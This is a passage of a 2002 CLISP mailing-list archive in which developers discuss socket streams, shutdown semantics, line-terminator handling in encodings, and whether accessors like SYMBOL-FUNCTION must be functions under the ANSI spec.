Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16NLTs-00069p-00 for ; Sun, 06 Jan 2002 14:09:28 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id RAA11009; Sun, 6 Jan 2002 17:09:22 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams References: From: Todd Sabin In-Reply-To: (Sam Steingold's message of "Sat, 05 Jan 2002 14:59:34 -0500") Message-ID: Lines: 73 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jan 6 14:10:03 2002 X-Original-Date: 06 Jan 2002 17:09:22 -0500 Sam Steingold writes: > > * In message > > * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams" > > * Sent on 03 Jan 2002 11:52:18 -0500 > > * Honorable Todd Sabin writes: > > > > > why do you want this? > > > > It would allow you to set different element-types and encodings on the > > input and output sides of the socket. > > > > It would provide a nice interface to shutdown(2) a socket. You could > > call (close (two-way-stream-output-stream *my-sock*)), and have it > > implemented with shutdown(2) in C, instead of close(2). > > I don't understand this. > why is shutdown better than close? shutdown(2) allow you to say, I'm done sending on this socket, but I still want to be able to receive, or vice-versa. close(2) closes both directions. In TCP terms, doing a shutdown on output will cause your machine to send a FIN and close that half of the channel. The other side will in effect get an EOF on its input, and still be able to send output back to you. > what does this have to do with two-way-stream-output-stream being > applicable to a socket? > I'm just trying to map the socket/TCP concepts onto common lisp stream semantics. IMO, the obvious way of doing it in this case is to have sockets be two-way streams, and specifying the semantics above. Generally speaking, I want to be able to do everything with sockets that I can do in C, but in lisp. Maybe this isn't the way to do it, I don't know. > > It just seems right to me. > > > > Of course, there may be implications that I don't see. Turning the > > question around, why wouldn't you want this? > > because I don't know all the possible pitfalls. That's fair enough. > are you prepared to submit tested (at least on two platforms) patches > and take responsibility (as in "fix bugs") for the code you write? > if yes, your patches (against CVS) will be accepted. > (we should probably move this discussion to .) This particular feature isn't something that I'm dying for. I'm just trying to understand the psychology behind why you would or wouldn't want it. If I'm going to be writing code, I'd rather fix other things first. Currently, my biggest gripe is that buffered sockets are more or less unusable for me, because they only work on 4K blocks, so for things like HTTP you can't ever read all the waiting data unless the other end has closed (or shutdown) their end of the connection. I'd rather that buffered sockets let you deal with the data you've got waiting. (Actually, I don't care so much about the buffering on the input side, but you can't do buffering on output without doing it on input, too.) I haven't even gotten to UDP sockets, or unix domain sockets, yet, which don't seem to be supported, currently. Are they features you'd want? Do you know of good lispy interfaces for them? Does clisp have something analogous to unix's select(2) that lets you wait on multiple streams until there's data/connections available? (cmucl seems to have serve-event for this.) Todd From tfb@ocf.berkeley.edu Sun Jan 06 14:13:15 2002 Received: from war.ocf.berkeley.edu ([128.32.191.89]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16NLXX-0006ev-00 for ; Sun, 06 Jan 2002 14:13:15 -0800 Received: from conquest.OCF.Berkeley.EDU (daemon@conquest.OCF.Berkeley.EDU [128.32.191.90]) by war.OCF.Berkeley.EDU (8.11.6/8.9.3) with ESMTP id g06MDBp15570; Sun, 6 Jan 2002 14:13:11 -0800 (PST) Received: (from tfb@localhost) by conquest.OCF.Berkeley.EDU (8.11.6/8.10.2) id g06MDBX03279; Sun, 6 Jan 2002 14:13:11 -0800 (PST) From: "Thomas F. Burdick" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15416.52214.893877.251071@conquest.OCF.Berkeley.EDU> To: Kaz Kylheku Cc: William Harold Newman , Subject: Re: [clisp-list] problems bootstrapping SBCL with CLISP In-Reply-To: References: <20020106211953.GA27584@balefire.localdomain> X-Mailer: VM 6.90 under Emacs 21.1.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jan 6 14:14:02 2002 X-Original-Date: Sun, 6 Jan 2002 14:13:10 -0800 Kaz Kylheku writes: > On Sun, 6 Jan 2002, William Harold Newman wrote: > > > I was very surprised at this (that #'(SETF SYMBOL-FUNCTION) isn't > > conforming code). > > I'd be surprised if anything other than #'function-name or > #'(lambda ... expression) is conforming code. Maybe you should have looked in the spec before reacting in surprise :) > At first I agreed with you anyway, but I've since > > concluded that it's a (natural) misreading of the spec. I'll explain... > > > > I looked for quite a while without finding anything in the ANSI spec > > to contradict you. The page defining the symbol SYMBOL-FUNCTION says > > that SYMBOL-FUNCTION itself is an "accessor". > > That is completely irrelevant. The special operator called ``function'' > receives its parameter unevaluated. So in the expression > > (function (setf ...)) > > the operator simply receives the list (setf ...). The operator > understands only two things: a function name, or a lambda expression. > It will ``curry'' either of these into a funcall-able object. No, the FUNCTION special operator takes a "function name" as its argument. From the glossary: function name n. 1. (in an environment) A symbol or a list (setf symbol) that is the name of a function in that environment. 2. A symbol or a list (setf symbol). -- /|_ .-----------------------. ,' .\ / | No to Imperialist war | ,--' _,' | Wage class war! | / / `-----------------------' ( -. | | ) | (`-. '--.) `. )----' From tfb@ocf.berkeley.edu Sun Jan 06 14:17:49 2002 Received: from war.ocf.berkeley.edu ([128.32.191.89]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16NLbx-0007LU-00 for ; Sun, 06 Jan 2002 14:17:49 -0800 Received: from conquest.OCF.Berkeley.EDU (daemon@conquest.OCF.Berkeley.EDU [128.32.191.90]) by war.OCF.Berkeley.EDU (8.11.6/8.9.3) with ESMTP id g06MHjp15699; Sun, 6 Jan 2002 14:17:45 -0800 (PST) Received: (from tfb@localhost) by conquest.OCF.Berkeley.EDU (8.11.6/8.10.2) id g06MHiS03329; Sun, 6 Jan 2002 14:17:44 -0800 (PST) From: "Thomas F. Burdick" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15416.52488.762161.371185@conquest.OCF.Berkeley.EDU> To: "Thomas F. Burdick" Cc: Kaz Kylheku , William Harold Newman , Subject: Re: [clisp-list] problems bootstrapping SBCL with CLISP In-Reply-To: <15416.52214.893877.251071@conquest.OCF.Berkeley.EDU> References: <20020106211953.GA27584@balefire.localdomain> <15416.52214.893877.251071@conquest.OCF.Berkeley.EDU> X-Mailer: VM 6.90 under Emacs 21.1.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jan 6 14:18:02 2002 X-Original-Date: Sun, 6 Jan 2002 14:17:44 -0800 Thomas F. Burdick writes: > No, the FUNCTION special operator takes a "function name" as its > argument. From the glossary: Er, I meant to say that FUNCTION takes either a lambda expression or a "function name" > function name n. 1. (in an environment) A symbol or a list (setf > symbol) that is the name of a function in that environment. 2. A > symbol or a list (setf symbol). -- /|_ .-----------------------. ,' .\ / | No to Imperialist war | ,--' _,' | Wage class war! | / / `-----------------------' ( -. | | ) | (`-. '--.) `. )----' From samuel.steingold@verizon.net Sun Jan 06 16:54:59 2002 Received: from smtp004pub.verizon.net ([206.46.170.183]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16NO41-0006ov-00 for ; Sun, 06 Jan 2002 16:54:57 -0800 Received: from xchange.com (pool-151-203-225-174.bos.east.verizon.net [151.203.225.174]) by smtp004pub.verizon.net with ESMTP ; id g070sm128507 Sun, 6 Jan 2002 18:54:50 -0600 (CST) To: don-sourceforge@isis.cs3-inc.com (Don Cohen) Cc: Todd Sabin , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] bugs in (setf (stream-element-type x) ...) References: <15416.50177.426282.473656@isis.cs3-inc.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15416.50177.426282.473656@isis.cs3-inc.com> Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jan 6 16:55:02 2002 X-Original-Date: 06 Jan 2002 19:52:30 -0500 > * In message <15416.50177.426282.473656@isis.cs3-inc.com> > * On the subject of "Re: [clisp-list] bugs in (setf (stream-element-type x) ...)" > * Sent on Sun, 6 Jan 2002 13:39:13 -0800 > * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes: > > > That depends on what you mean by 'wrong'. And whether anything can > > actually be considered 'right'. I'm fairly new to doing sockets and > > streams in Common Lisp, and have been trying to figure out the way > > you're supposed to do stuff like this. I haven't been able to figure > > it out, yet. If you can explain it to me, I'd be grateful. > For dealing with standard internet protocols I long ago gave up trying > to use characters in clisp and moved to bytes. At least for reading. this is unfortunate. what is the reason? maybe we could patch CLISP to your tastes? :-) -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! There is Truth, and its value is T. Or just non-NIL. So 0 is True! From samuel.steingold@verizon.net Sun Jan 06 17:22:03 2002 Received: from [206.46.170.239] (helo=pop012pub.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16NOUF-0003wj-00 for ; Sun, 06 Jan 2002 17:22:03 -0800 Received: from xchange.com (pool-151-203-225-174.bos.east.verizon.net [151.203.225.174]) by pop012pub.verizon.net with ESMTP ; id g071MA9U018077 Sun, 6 Jan 2002 19:22:11 -0600 (CST) To: Todd Sabin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] bugs in (setf (stream-element-type x) ...) References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 63 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jan 6 17:23:01 2002 X-Original-Date: 06 Jan 2002 20:19:31 -0500 > * In message > * On the subject of "Re: [clisp-list] bugs in (setf (stream-element-type x) ...)" > * Sent on 06 Jan 2002 16:30:35 -0500 > * Honorable Todd Sabin writes: > > Sam Steingold writes: > > no, they use non-blocking libc routines. > > My point was that using peek_char in C will cause visible (incorrect) > changes at the lisp level. Assume the data contains CR . Now > if the user does (read-char stream), and then tries (unread-char CR), > it would cause an error, because the C code did a peek_char > (read,unread) during the read-char, so the last char read is not > really CR, but the . The C code would need to account for > this case, and I don't see a straightforward way of doing it. the C code is very involved. CLISP has a lot of functionality for non-blocking i/o (see and below). study the code and you will see how CLISP avoids these issues. > > > Also, this wouldn't handle the case where the next character will be a > > > LF, but it's not available, yet. This can happen in the buffered > > > case, as well, and it's not even necessary to use > > > (setf (stream-element-type ..)) to get incorrect results in that case. > > > It seems that the buffered case needs to pay attention to ignore_next_LF, > > > too. > > > > > > There seem to be other implications with the way things currently > > > stand, as well. Say I want to write an HTTP proxy. What I'd do is > > > listen for a connection on a socket. When I get one, do read-line > > > until I get an empty line, process the request, send the results to my > > > client and close the socket (stream). If I do that but don't use a > > > buffered stream, then I'll end up sending a TCP RST to my client > > > because the last LF of his request will remain unread. Ugh. > > > > yes, this is an issue. > > patch is welcome. > > > > Again, I don't see a nice way of handling it. I guess you could check > for the LF just before closing, or doing a (setf (stream-element-type > ....)) and eat it at that point. I already told you how to handle this nicely: now MAKE-ENCODING takes :LINE-TERMINATOR keyword argument. If you make it take two separate arguments instead: :INPUT-LINE-TERMINATOR (new) and :OUTPUT-LINE-TERMINATOR (renamed from :LINE-TERMINATOR), and make all i/o functions respect this change, and make :OUTPUT-LINE-TERMINATOR default to :UNIX (as it does now), and make :INPUT-LINE-TERMINATOR default to T (the current behavior: accept either :UNIX, :MAC or :DOS), but able to take any other of the 3 keyword values. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Those who value Life above Freedom are destined to lose both. From samuel.steingold@verizon.net Sun Jan 06 17:40:33 2002 Received: from [206.46.170.235] (helo=pop008pub.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16NOm8-000717-00 for ; Sun, 06 Jan 2002 17:40:33 -0800 Received: from xchange.com (pool-151-203-225-174.bos.east.verizon.net [151.203.225.174]) by pop008pub.verizon.net with ESMTP ; id g071eIqK029310 Sun, 6 Jan 2002 19:40:18 -0600 (CST) To: Todd Sabin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 50 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jan 6 17:41:02 2002 X-Original-Date: 06 Jan 2002 20:38:02 -0500 > * In message > * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams" > * Sent on 06 Jan 2002 17:09:22 -0500 > * Honorable Todd Sabin writes: > > Sam Steingold writes: > > Generally speaking, I want to be able to do everything with sockets > that I can do in C, but in lisp. Maybe this isn't the way to do it, I > don't know. I am not sure this is a valid desire. sockets are very hairy and lisp favor clarity. > Currently, my biggest gripe is that buffered sockets are more or less > unusable for me, because they only work on 4K blocks, so for things > like HTTP you can't ever read all the waiting data unless the other > end has closed (or shutdown) their end of the connection. I'd rather > that buffered sockets let you deal with the data you've got waiting. > (Actually, I don't care so much about the buffering on the input side, > but you can't do buffering on output without doing it on input, too.) you are on your own here. sorry. > I haven't even gotten to UDP sockets, or unix domain sockets, yet, > which don't seem to be supported, currently. Are they features you'd > want? Do you know of good lispy interfaces for them? see "How to open a UNIX socket with clisp?" thread in this list (October 2001). Since a unix socket is just a special file in the filesystem, all we need to do is to make open_file aware of such an option (CLOSE already is, I think). we even have the necessary code - see connect_to_x_server() in socket.d. The issue is, basically, that many systems lack the S_ISSOCK() macro. It is a lot of tedious work to make sure that all systems that don't have it will work correctly with our S_ISSOCK() macro (otherwise we will have to support socket opening only on systems which do have such a macro...) > Does clisp have something analogous to unix's select(2) that lets you > wait on multiple streams until there's data/connections available? see SOCKET-STATUS -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Beauty is only a light switch away. From samuel.steingold@verizon.net Sun Jan 06 17:45:23 2002 Received: from [206.46.170.238] (helo=pop011pub.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16NOqp-0007iF-00 for ; Sun, 06 Jan 2002 17:45:23 -0800 Received: from xchange.com (pool-151-203-225-174.bos.east.verizon.net [151.203.225.174]) by pop011pub.verizon.net with ESMTP ; id g071ixnA019752 Sun, 6 Jan 2002 19:45:00 -0600 (CST) To: William Harold Newman Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problems bootstrapping SBCL with CLISP References: <20011230131716.B6073@balefire.localdomain> <20020106211953.GA27584@balefire.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020106211953.GA27584@balefire.localdomain> Message-ID: Lines: 46 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jan 6 17:46:01 2002 X-Original-Date: 06 Jan 2002 20:42:51 -0500 > * In message <20020106211953.GA27584@balefire.localdomain> > * On the subject of "Re: [clisp-list] problems bootstrapping SBCL with CLISP" > * Sent on Sun, 6 Jan 2002 15:19:53 -0600 > * Honorable William Harold Newman writes: > > On Sun, Jan 06, 2002 at 03:15:14PM -0500, Sam Steingold wrote: > > > > (SETF SYMBOL-FUNCTION) is a macro, not a function in CLISP. > > I don't think that ANSI requires it to be a function. > > > wrt (FUNCTION macro) ANSI says: > > > > | It is an error to use function on a function name that does not denote > > | a function in the lexical environment in which the function form > > | appears. Specifically, it is an error to use function on a symbol that > > | denotes a macro or special form . An implementation may choose not to > > | signal this error for performance reasons, but implementations are > > | forbidden from defining the failure to signal an error as a useful > > | behavior. > > I was very surprised at this (that #'(SETF SYMBOL-FUNCTION) isn't > conforming code). At first I agreed with you anyway, but I've since > concluded that it's a (natural) misreading of the spec. I'll explain... > > Accessor > This is an accessor function. > [etc.] > So: I think when you see "accessor" at the head of an entry in the > symbols dictionary, it is to be interpreted as "accessor function". > (And yes, this *does* seem like a remarkably indirect and confusing > way to specify the function-not-macro-ness of things like CAR.) I would greatly appreciate it if you asked this on comp.lang.lisp. #'(setf car) is the same as rplaca, so there is no problem there, but with other macros, it _IS_ an issue. You are basically telling me that for each macro I must provide a function definition which would work the same way as the macro does. I don't think this is a valid requirement. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Sufficiently advanced stupidity is indistinguishable from malice. From don-sourceforge@isis.cs3-inc.com Sun Jan 06 17:48:30 2002 Received: from isis.cs3-inc.com ([207.224.119.73]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16NOtq-00089l-00 for ; Sun, 06 Jan 2002 17:48:30 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id g071kPQ27739; Sun, 6 Jan 2002 17:46:25 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15416.65009.264652.494199@isis.cs3-inc.com> To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] bugs in (setf (stream-element-type x) ...) In-Reply-To: References: <15416.50177.426282.473656@isis.cs3-inc.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jan 6 17:49:04 2002 X-Original-Date: Sun, 6 Jan 2002 17:46:25 -0800 Sam Steingold writes: > > For dealing with standard internet protocols I long ago gave up trying > > to use characters in clisp and moved to bytes. At least for reading. > > this is unfortunate. > what is the reason? > maybe we could patch CLISP to your tastes? :-) I don't know whether it's unfortunate. As I recall, there were two reasons. One was the end of line issue and the other was errors with character sets that had no character defined for the bytes that came in. Notice that when you write a server you don't have a lot of control over the bytes that others send you. I recall being told, (just as you said recently on this list), that if you want to deal with CR and LF as different things then you're working at too low a level for characters. I suppose it's possible that enough stuff has been added over the last few years that I could now do all I want with characters, but I recall that I did waste (in retrospect) a lot of time trying and failing. My original code using characters did work in Allegro CL, but I think that's because the default "character" set there was actually no different from bytes, i.e., there were 256 of them, each represented by a different 8 bit byte. Perhaps clisp has such a character set, but it was at least not the default when I was trying to write this code. In fact I recall trying different character sets. Perhaps others who have written such software can confirm or refute my impression that both the problem and solution were widespread. From william.newman@airmail.net Sun Jan 06 21:09:34 2002 Received: from mx8.airmail.net ([209.196.77.105]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16NS2Q-0008SH-00 for ; Sun, 06 Jan 2002 21:09:34 -0800 Received: from covert.black-ring.iadfw.net ([209.196.123.142]) by mx8.airmail.net with smtp (Exim 3.16 #10) id 16NS2Q-000GDH-00 for clisp-list@lists.sourceforge.net; Sun, 06 Jan 2002 23:09:34 -0600 Received: from balefire.localdomain from [207.136.49.201] by covert.black-ring.iadfw.net (/\##/\ Smail3.1.30.16 #30.55) with esmtp for sender: id ; Sun, 6 Jan 2002 23:11:13 -0600 (CST) Received: (from newman@localhost) by balefire.localdomain (8.11.3/8.11.3) id g074x9P32472; Sun, 6 Jan 2002 22:59:09 -0600 (CST) From: William Harold Newman To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problems bootstrapping SBCL with CLISP Message-ID: <20020107045908.GA12520@balefire.localdomain> References: <20011230131716.B6073@balefire.localdomain> <20020106211953.GA27584@balefire.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.25i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jan 6 21:10:01 2002 X-Original-Date: Sun, 6 Jan 2002 22:59:08 -0600 On Sun, Jan 06, 2002 at 08:42:51PM -0500, Sam Steingold wrote: > > * In message <20020106211953.GA27584@balefire.localdomain> > > * On the subject of "Re: [clisp-list] problems bootstrapping SBCL with CLISP" > > * Sent on Sun, 6 Jan 2002 15:19:53 -0600 > > * Honorable William Harold Newman writes: [...] > > I was very surprised at this (that #'(SETF SYMBOL-FUNCTION) isn't > > conforming code). At first I agreed with you anyway, but I've since > > concluded that it's a (natural) misreading of the spec. I'll explain... > > > > Accessor > > This is an accessor function. > > [etc.] > > So: I think when you see "accessor" at the head of an entry in the > > symbols dictionary, it is to be interpreted as "accessor function". > > (And yes, this *does* seem like a remarkably indirect and confusing > > way to specify the function-not-macro-ness of things like CAR.) > > I would greatly appreciate it if you asked this on comp.lang.lisp. > #'(setf car) is the same as rplaca, so there is no problem there, but > with other macros, it _IS_ an issue. > > You are basically telling me that for each macro I must provide a ^^^^^^^^^^^^^^ > function definition which would work the same way as the macro does. Well, no, not for DEFMACRO, DEFINE-SETF-EXPANDER, LOOP, and so forth. The symbols dictionary lists those as macros, not accessors, and so AFAIK the special meaning of "accessor" in the context of the symbol dictionary has nothing to do with them. What I do believe is that when something is labelled an "accessor" in the symbols dictionary, it means "accessor function". If the HyperSpec is as systematically organized as it looks, then all the relevant operators should be in these sections: HyperSpec/Body/acc_aref.html HyperSpec/Body/acc_bitcm_sbit.html HyperSpec/Body/acc_carcm_cdr_darcm_cddddr.html HyperSpec/Body/acc_charcm_schar.html HyperSpec/Body/acc_compiler-_cro-function.html HyperSpec/Body/acc_elt.html HyperSpec/Body/acc_fdefinition.html HyperSpec/Body/acc_fill-pointer.html HyperSpec/Body/acc_find-class.html HyperSpec/Body/acc_firstcm_s_inthcm_tenth.html HyperSpec/Body/acc_get.html HyperSpec/Body/acc_getf.html HyperSpec/Body/acc_gethash.html HyperSpec/Body/acc_ldb.html HyperSpec/Body/acc_logical-p_translations.html HyperSpec/Body/acc_macro-function.html HyperSpec/Body/acc_mask-field.html HyperSpec/Body/acc_nth.html HyperSpec/Body/acc_readtable-case.html HyperSpec/Body/acc_rest.html HyperSpec/Body/acc_row-major-aref.html HyperSpec/Body/acc_subseq.html HyperSpec/Body/acc_svref.html HyperSpec/Body/acc_symbol-function.html HyperSpec/Body/acc_symbol-plist.html HyperSpec/Body/acc_symbol-value.html HyperSpec/Body/acc_values.html Thus portable code can count on AREF, SBIT, CHAR, LDB, REST, SYMBOL-VALUE, and so forth being implemented as functions, not macros. Note that the symbols in this category are more like CAR (where, as you say, a functional form is obvious) than like LOOP (where a functional form might be even more baroque than the macro). > I don't think this is a valid requirement. If you mean "requiring a function corresponding to LOOP is not valid", then I agree with you. If you mean "requiring that the operators CAR and SVREF and GETHASH (and for that matter (SETF CAR) and (SETF SVREF) and (SETF GETHASH)) be implemented as functions is not valid", then I disagree. -- William Harold Newman "Our users will know fear and cower before our software! Ship it! Ship it and let them flee like the dogs they are!" -- Klingon programmer PGP key fingerprint 85 CE 1C BA 79 8D 51 8C B9 25 FB EE E0 C3 E5 7C From tas@webspan.net Sun Jan 06 23:47:35 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16NUVK-0007wZ-00 for ; Sun, 06 Jan 2002 23:47:34 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id CAA13345; Mon, 7 Jan 2002 02:47:26 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] bugs in (setf (stream-element-type x) ...) References: From: Todd Sabin In-Reply-To: (Sam Steingold's message of "06 Jan 2002 20:19:31 -0500") Message-ID: Lines: 47 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jan 6 23:48:08 2002 X-Original-Date: 07 Jan 2002 02:47:26 -0500 Sam Steingold writes: > > > > My point was that using peek_char in C will cause visible (incorrect) > > changes at the lisp level. Assume the data contains CR . Now > > if the user does (read-char stream), and then tries (unread-char CR), > > it would cause an error, because the C code did a peek_char > > (read,unread) during the read-char, so the last char read is not > > really CR, but the . The C code would need to account for > > this case, and I don't see a straightforward way of doing it. > > the C code is very involved. > CLISP has a lot of functionality for non-blocking i/o (see > > and below). > study the code and you will see how CLISP avoids these issues. > We seem to be talking past each other. I'm not talking about how to avoid hanging. I'm saying that the strategy of peeking the next char when encountering a CR will not work because it breaks unread-char, not because it might hang. Anyway, the :INPUT-LINE-TERMINATOR approach would make this go away, too. > > Again, I don't see a nice way of handling it. I guess you could check > > for the LF just before closing, or doing a (setf (stream-element-type > > ....)) and eat it at that point. > > I already told you how to handle this nicely: > now MAKE-ENCODING > > takes :LINE-TERMINATOR keyword argument. > If you make it take two separate arguments instead: > :INPUT-LINE-TERMINATOR (new) and :OUTPUT-LINE-TERMINATOR (renamed from > :LINE-TERMINATOR), and make all i/o functions respect this change, and > make :OUTPUT-LINE-TERMINATOR default to :UNIX (as it does now), and > make :INPUT-LINE-TERMINATOR default to T (the current behavior: accept > either :UNIX, :MAC or :DOS), but able to take any other of the 3 > keyword values. > Shouldn't it also still accept :LINE-TERMINATOR for a while to avoid breaking existing code? If I have time, I'll look at doing this. Todd From tas@webspan.net Mon Jan 07 00:23:58 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16NV4X-0006ZX-00 for ; Mon, 07 Jan 2002 00:23:58 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id DAA13475; Mon, 7 Jan 2002 03:23:51 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams References: From: Todd Sabin In-Reply-To: (Sam Steingold's message of "06 Jan 2002 20:38:02 -0500") Message-ID: Lines: 84 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 7 